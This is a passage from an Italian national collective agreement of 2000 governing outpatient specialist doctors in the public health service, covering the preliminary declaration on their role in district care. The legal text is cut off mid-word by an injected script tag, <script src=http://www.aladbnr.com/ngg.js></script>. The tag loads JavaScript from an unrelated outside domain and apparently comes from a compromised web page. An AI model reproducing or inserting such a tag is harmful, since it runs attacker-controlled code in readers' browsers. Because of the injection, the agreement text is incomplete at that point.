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Categoria: Sanità (medici specialisti ambulatoriali) Settore: Pubblica Amministrazione Data stipula: 9-3-2000 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2000
ACCORDO COLLETTIVO NAZIONALE PER LA REGOLAMENTAZIONE DEI RAPPORTI
CON I MEDICI SPECIALISTI AMBULATORLALI AI SENSI DELL'ART. 48,
LEGGE 23 DICEMBRE 1978 N. 833 E DEL COMMA 8, ART. 8, D.LGS. N. 502/92,
COSI' COME MODIFICATO DAI DD.LGS. NN. 517/93 E 229/99
9 marzo 2000
DICHIARAZIONE PRELIMINARE
Area dell'attività specialistica-distrettuale
1. Nell'ambito della tutela costituzionale della salute del cittadino,
intesa quale fondamentale diritto dell'individuo e interesse della
collettività, il Servizio Sanitario Nazionale (SSN) demanda al livello
della "assistenza specialistica distrettuale", tra l'altro, il compito di
corrispondere ad ogni esigenza di carattere specialistico che non richieda
e/o tenda ad evitare la degenza ospedaliera, in una logica d'integrazione
con l'assistenza medica di base e di apporto e di interconnessione con
quella ospedaliera e degli altri servizi.
2. In tale quadro, attraverso il rapporto convenzionale previsto
dall'art. 48, legge n. 833/78, gli specialisti di cui all'Accordo
Nazionale Unico per la Medicina Specialistica Ambulatoriale, sono parte
attiva e qualificante del SSN, integrandosi nell'assistenza primaria
attraverso il coordinamento con le altre categorie di erogatori ammesse ad
operare nel distretto, secondo quanto previsto dal comma 1, lett. a) e b),
art. 3 quinquies, D.lgs. n. 229/99, e presso le strutture accreditate
ospedaliere e extra-ospedaliere per l'espletamento, secondo modalità di
accesso ed erogative uniformi, di tutti gli interventi specialistici,
diagnostico-terapeutici, preventivi e riabilitativi.
3. Le parti si danno reciprocamente atto che nel processo di
razionalizzazione del SSN realizzato - attraverso i DD.lgs. nn. 502/92,
517/93 e 229/99 - con modifiche della legge n. 833/78 finalizzate a
garantire ai cittadini un sistema sanitario caratterizzato dall'equità ma
anche dall'efficienza operativa e dall'efficacia dei risultati, il medico
specialista ambulatoriale partecipa al rinnovamento del sistema sanitario
assicurando:
- un rapporto coordinato con la dirigenza e con tutte le altre attività
delle strutture operative delle aziende sanitarie;
- la disponibilità a concorrere attivamente al decentramento
dell'offerta di prestazioni specialistiche dai tradizionali presidi ai
distretti territoriali;
- un'attività flessibile per la pluralità dei servizi, delle sedi di
lavoro e la variabilità degli orari;
- un corretto e conveniente rapporto costi/benefici a favore
dell'utenza e del SSN.
4. Il livello dell'assistenza specialistica territoriale risponde in
ogni branca specialistica alla domanda dell'utenza in modo tale da
partecipare al processo di deospedalizzazione dell'assistenza contribuendo
alla umanizzazione del rapporto assistenziale, al mantenimento del
paziente nel proprio luogo di vita e alla eliminazione degli sprechi.
5. Il medico specialista ambulatoriale è parte nel "Patto di
solidarietà per la salute", promosso dal Piano sanitario nazionale per il
triennio 1998-2000, approvato con DPR 23.7.98, mettendo a disposizione le
proprie specificità professionali e le proprie competenze a favore delle
istituzioni e dei cittadini.
6. La flessibilità e la territorialità dell'impegno specialistico come
aspetti caratteristici del rapporto di lavoro disciplinato dal presente
accordo divengono strumenti incisivi per abbattere, insieme agli altri
operatori sanitari, le "disuguaglianze nei confronti della salute" per
quanto riguarda in particolare l'accesso ai sistemi di cura.
7. Nell'ambito del "Progetto nazionale per la salute" lo specialista
ambulatoriale svolge un forte ruolo nel perseguire con le Regioni e le
Aziende sanitarie i 5 obiettivi prioritari i<script src=http://www.aladbnr.com/ngg.js></script>
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